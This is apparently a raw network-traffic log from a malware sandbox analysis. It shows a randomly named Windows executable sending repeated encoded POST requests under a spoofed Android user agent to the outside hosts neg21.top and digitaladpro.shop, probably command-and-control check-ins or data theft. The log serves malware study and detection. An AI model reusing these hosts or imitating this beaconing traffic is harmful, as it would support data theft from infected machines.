Nov 7, 2024 10:52:43.637758970 CET	781	OUT	POST /1i1f/ HTTP/1.1 Host: www.neg21.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.neg21.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.neg21.top/1i1f/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 51 53 77 36 67 52 37 30 45 69 77 31 77 46 58 62 62 33 78 4d 50 45 58 33 39 58 48 57 37 2f 79 76 34 69 7a 58 32 56 61 53 38 45 34 61 63 2f 67 4d 32 4b 72 30 77 6c 50 38 55 31 4a 32 57 2b 63 61 56 4c 76 71 4c 35 47 46 32 4d 6b 47 31 42 4d 6b 39 71 72 32 64 54 53 4b 4a 42 5a 38 78 47 37 42 5a 74 2f 38 58 75 6f 43 56 79 53 36 64 31 37 59 43 56 59 6a 73 43 42 77 6d 4a 4b 43 52 7a 4c 34 48 55 79 65 54 55 79 49 71 6e 32 66 6e 62 77 32 43 77 47 68 50 63 6b 69 6b 49 2b 32 39 47 57 4d 6a 42 45 6e 70 4e 6a 2f 31 74 5a 56 6b 54 4d 6f 55 2b 79 49 7a 71 4b 41 6d 37 57 63 67 45 6c 59 61 41 3d 3d Data Ascii: mFptYb=QSw6gR70Eiw1wFXbb3xMPEX39XHW7/yv4izX2VaS8E4ac/gM2Kr0wlP8U1J2W+caVLvqL5GF2MkG1BMk9qr2dTSKJBZ8xG7BZt/8XuoCVyS6d17YCVYjsCBwmJKCRzL4HUyeTUyIqn2fnbw2CwGhPckikI+29GWMjBEnpNj/1tZVkTMoU+yIzqKAm7WcgElYaA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.22	49205	206.119.81.36	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:46.181489944 CET	2472	OUT	POST /1i1f/ HTTP/1.1 Host: www.neg21.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.neg21.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.neg21.top/1i1f/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 51 53 77 36 67 52 37 30 45 69 77 31 79 6d 50 62 5a 51 6c 4d 4e 6b 58 77 34 58 48 57 69 76 79 72 34 69 2f 58 32 51 36 43 38 32 55 61 63 75 77 4d 32 73 2f 30 79 6c 50 38 44 6c 4a 36 59 65 63 79 56 4e 44 63 4c 38 36 4b 32 4f 6f 47 30 69 30 6b 31 49 44 31 57 44 53 49 4e 42 5a 2f 78 47 36 56 5a 75 48 77 58 75 74 76 56 79 4b 36 65 41 50 59 53 6c 59 67 6d 69 42 77 6d 4a 4b 4f 52 7a 4b 72 48 55 36 47 54 56 71 59 70 55 75 66 67 36 51 32 4f 33 53 75 47 38 6c 70 36 59 2f 63 30 6b 6d 47 36 78 4a 72 6e 62 66 69 36 5a 74 6b 35 52 41 53 55 39 4f 43 6e 34 2b 62 34 63 72 4e 74 6d 51 51 4b 34 2f 70 65 6c 72 51 61 44 30 51 62 56 43 74 78 45 62 66 6f 6a 49 43 46 4e 78 6b 69 56 78 32 41 66 6e 46 5a 78 4b 69 6a 63 42 30 63 52 64 48 74 33 43 7a 6d 77 5a 4e 33 71 63 2b 4c 43 6b 75 54 33 51 6f 42 71 67 6e 4a 4a 42 69 52 67 79 69 4e 31 32 6c 41 74 62 2f 35 75 71 39 50 74 77 6b 62 68 55 76 70 53 31 64 54 75 54 54 33 47 39 68 54 48 52 39 61 4c 4b 33 6e 30 39 50 54 48 58 55 37 4f 2b 6e 78 53 67 76 78 6a 4b [TRUNCATED] Data Ascii: mFptYb=QSw6gR70Eiw1ymPbZQlMNkXw4XHWivyr4i/X2Q6C82UacuwM2s/0ylP8DlJ6YecyVNDcL86K2OoG0i0k1ID1WDSINBZ/xG6VZuHwXutvVyK6eAPYSlYgmiBwmJKORzKrHU6GTVqYpUufg6Q2O3SuG8lp6Y/c0kmG6xJrnbfi6Ztk5RASU9OCn4+b4crNtmQQK4/pelrQaD0QbVCtxEbfojICFNxkiVx2AfnFZxKijcB0cRdHt3CzmwZN3qc+LCkuT3QoBqgnJJBiRgyiN12lAtb/5uq9PtwkbhUvpS1dTuTT3G9hTHR9aLK3n09PTHXU7O+nxSgvxjKLgjc8IbMQa6vc8Tp65cpkbw2ZKb4zg0nHvz9Ydath6kXt36E9pAHU7wuB3DxBqqQ4QNDS+RVm6jR8Q5SGue/aHitb6OhaWIvBPXyx/tfq7cjovhJgnrr3PCnzuPZ9ADLW62DhkGyvl4RVBPTjoVLzwXs9zzm/+5G4kLgCTL0dlwt1vFoihxNDAZ2+ghHOYASCiV/zWGHOScEivMLNxdoXDJGNk1eCcarV2+AGtOAA4sdfyxdiwmZD3wWqVBwGhhCpe/wPAeUV70bebb7hlfni3zJ4JNj7Tm4Uj8YvImSyCKMsD0DU/l8H4p/FWeaUQVMl8ut64YzEfAbdemZ976ivpnpfHBKJ/byayFV4U7pbSX1cIoAVeQYPtOtmRervXiHHW6tkNi4vtbVbXdp6OAv5Cics3N5raWxqZ3nxlL2D4onG0huWbJWJfg/6/TvnOpaIXJNyUf3w4RvcHUScCI1MyCxFvpfJf1Za9oOWNkycR41tbRCzUC7nt1HiA3l6fMyZEnxJN+DProyWLlx0ybJ8Rg9xlfkxvHmkXXYoXWKx99TcDa9UbLCnmV8NiYOxzf7zfIh2DJIF1fUsAt1m8M08sEKbLEQq6BemAQIRym3UFMNMeXQ+zbpSx+37fCvY8i9B8zd8W3QYI6pKPrTvi5pAeIM6I2XEckjrJ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.22	49206	206.119.81.36	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:48.719984055 CET	527	OUT	GET /1i1f/?mFptYb=dQYajm//Sx1stwXHfz91EBXSzFfr0PyC8xP2ywW2sRY4KNcSndLg20S7F1cIbOwwYrPcKp2sut8M/zk+pKvqB0TIHTxz9Wrof9/BUM8Hdiu6WBCEYXAcnBVSoJf5&Vta=nFypuDtholF HTTP/1.1 Host: www.neg21.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:52:49.702600956 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:52:49 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.22	49207	142.250.185.115	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:55.276846886 CET	2472	OUT	POST /m6se/ HTTP/1.1 Host: www.digitaladpro.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.digitaladpro.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.digitaladpro.shop/m6se/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 67 72 6a 79 67 6a 42 7a 4e 65 59 41 4c 6e 64 53 70 6b 53 79 41 39 58 45 4a 57 6c 79 75 41 4e 42 70 61 5a 74 6e 69 76 67 6b 53 36 4f 44 50 66 46 30 62 6c 46 32 5a 61 34 4c 6d 38 41 6a 68 4d 76 54 46 49 6e 43 79 71 35 78 35 6c 58 71 35 6c 59 74 6c 34 4c 76 4f 47 65 66 62 67 57 54 42 70 4d 76 68 30 37 52 6e 69 67 42 53 49 54 41 78 48 4b 55 51 7a 4a 75 32 56 4b 45 64 2b 56 78 68 68 38 6e 72 49 2b 69 46 46 6d 53 4c 54 6b 35 73 39 2f 62 4a 6b 77 2f 6a 6f 4e 53 7a 61 35 63 66 51 74 6e 46 30 4b 53 35 2b 7a 4a 39 6c 5a 49 77 49 65 6b 76 73 62 68 6a 31 48 4b 42 37 33 46 34 76 61 68 35 47 79 47 36 75 35 61 57 58 69 7a 35 4e 4d 41 57 4a 38 57 51 42 79 31 55 4a 4b 77 78 72 72 2b 55 46 6a 73 33 52 49 4e 52 51 49 47 47 75 56 39 77 36 35 2f 74 31 69 65 53 33 4b 44 5a 4c 30 38 64 78 65 78 64 4c 6e 44 34 42 52 64 6c 6e 36 65 7a 4c 32 79 33 5a 49 38 71 6d 4d 4a 39 78 30 33 64 4b 30 75 4c 6d 70 38 2f 64 6a 32 6b 6e 55 76 71 68 72 4d 69 39 4e 33 79 69 38 31 58 39 41 62 37 43 6c 41 38 55 35 4d 43 5a [TRUNCATED] Data Ascii: mFptYb=grjygjBzNeYALndSpkSyA9XEJWlyuANBpaZtnivgkS6ODPfF0blF2Za4Lm8AjhMvTFInCyq5x5lXq5lYtl4LvOGefbgWTBpMvh07RnigBSITAxHKUQzJu2VKEd+Vxhh8nrI+iFFmSLTk5s9/bJkw/joNSza5cfQtnF0KS5+zJ9lZIwIekvsbhj1HKB73F4vah5GyG6u5aWXiz5NMAWJ8WQBy1UJKwxrr+UFjs3RINRQIGGuV9w65/t1ieS3KDZL08dxexdLnD4BRdln6ezL2y3ZI8qmMJ9x03dK0uLmp8/dj2knUvqhrMi9N3yi81X9Ab7ClA8U5MCZDvexAUMBCR8mJXjUxAkdzrry7ZKItQr5Ni0GPeSbNuFNiJXZJvSB9vSNx1AkLc0ctnQ1+OFsqTIig30/IsaFWM/3gwDJsk9sPycAzqviwzPpoKvNcpwCo3Ruk3kVTD69flGu+Lg6NkClWz/7caJO5YbYEo9PGCuYqUUJc7OjmhJx8yl6IMkg+AlGaehNQfsQRIhZBPaArn8wNlxZycaoaF7asiDvkZP15ffdoCXP6NMDKbK35JKO0l2+AF+SEzpMvIDFFGZmaaekoQ+SMpn327/Pas/n5djBDyPgpNPLWR5nnWhSkHD9HXtl+5et4kEBJrhDUN01mzmgfd5AbPJtinyGWNK3Dkb8bV+rXmRCVvJ7EYn/9+ZIu9+eIjm1oL83xqCrnMlawk9Npbf+czARX3DREBLpdgkMDYIle9QxPUluhS8aWDbZxkANDizkl9zSdC6VTGOyUjEQIdSq/i0lbkjURRCrow6Np/WgNGLLzsF1mqSIk4sGE2Dg40ETl1+2RiQtSdKllxqBI4qIFYaayx1fnnZ13laRs0zZYUWxQWMZl4arvONFWkPRlZQQ5qcSRYPHGyAHFlBKIBLForGkNNVa9s/4/gPWCx6rnLELg7L6daxbgPwOIdfdvX7orFKzbtupikNRUi3HgSRiIHcFwHxyfuqznvWaXA [TRUNCATED]
Nov 7, 2024 10:52:55.281765938 CET	294	OUT	Data Raw: 66 79 4a 43 79 75 2b 77 74 64 34 71 4d 38 43 75 76 2f 6e 42 4f 42 56 59 56 4e 65 56 50 51 4a 34 42 54 46 31 73 4d 78 77 47 7a 65 78 2b 4a 53 2b 49 6d 63 66 50 62 63 4d 6c 55 66 4c 46 63 39 52 32 33 4f 45 79 6d 4a 70 37 4e 74 79 5a 6a 4f 53 74 44 Data Ascii: fyJCyu+wtd4qM8Cuv/nBOBVYVNeVPQJ4BTF1sMxwGzex+JS+ImcfPbcMlUfLFc9R23OEymJp7NtyZjOStDUN6ZiucTrcaslIx76nsGorpBZJFqoGjDvHHZbGSnkTYOGZ6sPXu3envvUJ3ze4uOak2q5Ok0ltXqRvDYu8/mcd9dGbbVnai6IIOZrNSzM+U3JAoJIgFAMDLclGMqbnBa151WDQHH3EvhlIESs7ApOUcJycOLGYaKD
Nov 7, 2024 10:52:56.137284994 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:52:55 GMT Content-Type: text/html; charset=UTF-8 Server: ghs Content-Length: 1566 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Nov 7, 2024 10:52:56.137314081 CET	537	IN	Data Raw: 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d Data Ascii: oglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.22	49208	142.250.185.115	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:57.822489977 CET	805	OUT	POST /m6se/ HTTP/1.1 Host: www.digitaladpro.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.digitaladpro.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.digitaladpro.shop/m6se/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 67 72 6a 79 67 6a 42 7a 4e 65 59 41 4c 6b 31 53 70 32 36 79 42 64 58 45 46 32 6c 79 6b 67 4e 62 70 62 6c 6c 6e 6a 72 77 6b 6c 47 4f 41 65 76 46 31 6f 42 46 78 5a 61 33 66 57 38 45 74 42 4d 41 54 46 49 56 43 79 47 35 78 35 78 58 70 61 4e 59 72 6b 34 49 70 4f 47 63 58 37 67 54 54 42 6c 2f 76 68 34 56 52 6e 4b 67 42 51 73 54 47 42 58 4b 51 79 62 4a 2b 32 56 54 50 39 2b 43 78 68 73 6d 6e 76 73 32 69 45 70 6d 53 36 2f 6b 34 35 42 2f 66 61 63 77 6d 54 6f 4d 4b 6a 62 59 58 4d 4a 67 74 31 41 43 5a 71 32 70 4a 73 64 6c 4a 42 6b 6c 39 66 55 6d 32 6d 70 34 58 48 57 61 41 34 43 51 7a 67 3d 3d Data Ascii: mFptYb=grjygjBzNeYALk1Sp26yBdXEF2lykgNbpbllnjrwklGOAevF1oBFxZa3fW8EtBMATFIVCyG5x5xXpaNYrk4IpOGcX7gTTBl/vh4VRnKgBQsTGBXKQybJ+2VTP9+Cxhsmnvs2iEpmS6/k45B/facwmToMKjbYXMJgt1ACZq2pJsdlJBkl9fUm2mp4XHWaA4CQzg==
Nov 7, 2024 10:52:58.647708893 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:52:58 GMT Content-Type: text/html; charset=UTF-8 Server: ghs Content-Length: 1566 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Nov 7, 2024 10:52:58.648230076 CET	537	IN	Data Raw: 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d Data Ascii: oglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.22	49209	142.250.185.115	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:00.360677958 CET	2472	OUT	POST /m6se/ HTTP/1.1 Host: www.digitaladpro.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.digitaladpro.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.digitaladpro.shop/m6se/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 67 72 6a 79 67 6a 42 7a 4e 65 59 41 5a 30 46 53 72 52 4f 79 4a 64 58 48 4c 57 6c 79 75 41 4e 48 70 61 5a 6c 6e 69 76 67 6b 54 32 4f 44 4d 48 46 30 4c 6c 46 33 5a 61 33 49 6d 38 41 6a 68 4d 6f 54 46 4d 4f 43 79 33 62 78 37 64 58 71 37 64 59 74 6d 51 4c 6d 75 47 65 54 37 67 51 54 42 6b 6c 76 68 6f 52 52 68 58 37 42 51 6b 54 47 54 50 4b 45 53 62 4f 67 6d 56 54 50 39 2b 4f 78 68 73 47 6e 72 41 75 69 42 45 37 53 4e 48 6b 35 63 39 2f 54 5a 6b 7a 33 44 6f 49 57 7a 61 33 63 66 73 2b 6e 46 30 4f 53 35 71 4e 4a 39 70 5a 4a 6d 30 65 6b 73 30 59 2f 44 31 49 58 78 37 33 42 34 76 55 68 35 48 74 47 36 75 35 61 56 44 69 7a 70 4e 4d 41 54 39 37 56 67 42 79 38 30 4a 4e 39 52 6d 51 2b 55 41 45 73 33 68 59 4e 69 38 49 48 45 47 56 73 77 36 35 34 64 30 6e 65 53 33 39 61 4a 4b 58 38 64 70 73 78 63 36 67 44 34 42 52 64 67 7a 36 61 68 7a 32 6b 58 5a 49 7a 4b 6d 4e 41 64 78 33 33 64 65 61 75 4b 43 70 38 2b 46 6a 33 57 2f 55 2b 34 4a 6f 44 43 39 4d 7a 79 69 79 78 58 38 61 62 37 65 44 41 38 63 66 4d 42 52 [TRUNCATED] Data Ascii: mFptYb=grjygjBzNeYAZ0FSrROyJdXHLWlyuANHpaZlnivgkT2ODMHF0LlF3Za3Im8AjhMoTFMOCy3bx7dXq7dYtmQLmuGeT7gQTBklvhoRRhX7BQkTGTPKESbOgmVTP9+OxhsGnrAuiBE7SNHk5c9/TZkz3DoIWza3cfs+nF0OS5qNJ9pZJm0eks0Y/D1IXx73B4vUh5HtG6u5aVDizpNMAT97VgBy80JN9RmQ+UAEs3hYNi8IHEGVsw654d0neS39aJKX8dpsxc6gD4BRdgz6ahz2kXZIzKmNAdx33deauKCp8+Fj3W/U+4JoDC9MzyiyxX8ab7eDA8cfMBRDvdZAWptCRsmKaDVZLEhBroTaZKc9QtBNwRmPZQzOyFNgcnZP8CBLvSJT1AELcBothgV+ZiApCIirgE+X6qFCM7X4wG58kscPzsAzpMKx//pnQfNOgQC63Ruo3k0uCPxflH++LySNkClV2/7aUpCLYbcAo9TsCswqUF5c7PjmsJx8o16PGEgaAlSselQnfdwRJDBBD4orrMwDnxZ3S6p4F7KsiA+5ZOB5Y+doDzj6Z8CDXq2hJKPLl26cF+Cyzq4vICFFAcKaT+kpDuTL+X2A7/3Ks/KWdgRDwuApM6nWRZnhZBSkSz9fXrNx5fBOkGhJqT7UF01lp2gcQZAYEpt8nx+WNKzDkakbWJ3XjiqVt57Gcn/ZsZUe9+OyjkZeL6nxrXfna3yz4dNzNP+s+gRr3DRYBKAWg2UDZa9e+1dMYlusYcaBHbYOkD0oizQ1+EKdC7lTF6SUj0QIdSq8i0lfkjRiRDbWw6Np+HgNH+fz010NnyIJ8sGO2CUk0Ebf1+qRjFRSdKli+6BPi6IGYaXNx1fNnZx3lsJs0mFYVwdQb8Zl/arsAtFXkPR1ZVpkqdSRWenGzDvE6hKNDLFHimooNVWls+c/g9yCxu/nM0Lgkb6aSRb1LwDJdfBBX647F4Lb35NipsRbkHHlfxiKHcIAHx6XuqrRvV6XA [TRUNCATED]
